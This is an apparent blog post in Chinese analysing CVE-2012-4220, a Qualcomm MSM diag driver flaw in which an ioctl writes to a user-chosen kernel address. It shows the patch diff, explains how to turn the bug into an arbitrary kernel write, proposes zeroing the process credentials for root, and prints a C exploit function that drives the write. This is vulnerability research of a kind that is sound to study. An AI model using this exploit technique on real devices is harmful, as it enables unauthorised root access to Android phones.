Retme的未来道具研究所

世界線の収束には、逆らえない

这块代码可以在9300中找到

漏洞信息:

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-4220

https://www.codeaurora.org/projects/security-advisories/multiple-issues-diagkgsl-system-call-handling-cve-2012-4220-cve-2012

先看补丁:
https://www.codeaurora.org/cgit/quic/la//kernel/msm/commit/?id=32682d16fb46a60a7952c4d9e0653602ff674e4b

问题出在diag再处理DIAG_IOCTL_GET_DELAYED_RSP_ID这个ioctl时,没有使用copy_to_user

于是uint_16的全局变量 delayed_rsp_id写入用户任意指定的地址,每次可写入0x2~0xffff的两个字节,反复调用即可造成任意地址写的内核漏洞。

} else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {
- struct diagpkt_delay_params *delay_params =
- (struct diagpkt_delay_params *) ioarg;
-
- if ((delay_params->rsp_ptr) &&
- (delay_params->size == sizeof(delayed_rsp_id)) &&
- (delay_params->num_bytes_ptr)) {
- *((uint16_t *)delay_params->rsp_ptr) =
- DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
- *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);

success = 0;
}

如何利用:

这个漏洞里面,要将delay_params->rsp_ptr 设置为希望写入的地址,而希望写入的值利用delayed_rsp_id的值进行

如何控制delayed_rsp_id :

上文中DIAGPKT_NEXT_DELAYED_RSP_ID这个宏,每调用一次,delayed_rsp_id便会+1 所以调用(value_we_want - origin_delayed_rsp_id)次,就能将delayed_rsp_id设置为我们想要的值

如果我们想要的值比 origin_delayed_rsp_id要大,那么可以利用如下这一句:

*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);

如果这样写 *(delayed_rsp_id_addr) = sizeof(delayed_rsp_id); 就可以将地址重置为0x2

如何提权:

因为只有能写,不能读。那么丑陋一点的话,可以DKOM,给tusk_struct里面自己的uid pid都填0

static bool
inject_value(struct diag_values *data,
             int fd, void *delayed_rsp_id_address)
{
  uint16_t delayed_rsp_id_value = 0;
  int i, loop_count, ret;

    //send ioctl to get origin delayed_rsp_id
    //by DIAG_IOCTL_GET_DELAYED_RSP_ID
    //we save it
  ret = get_current_delayed_rsp_id(fd);
  if (ret < 0) {
    return false;
  }
  delayed_rsp_id_value = ret;
  data->original_value = delayed_rsp_id_value;

    //current value in kernel is too big,reset it 
    //write delayed_rsp_id_size to *delayed_rsp_id,
    //id has been set to 2 here
    //
    //sorry to say:delayed_rsp_id_address is a hardcode
  if (delayed_rsp_id_value > data->value &&
    reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) {
    return false;
  }
  //let delayed_rsp_id add to the data->value we want,and set to 
  loop_count = (data->value - delayed_rsp_id_value) & 0xffff;

  for (i = 0; i < loop_count; i++) {
    int unused;
    if (send_delay_params(fd, (void *)data->address, &unused) < 0) {
      return false;
    }
  }
  return true;
}

评论已关闭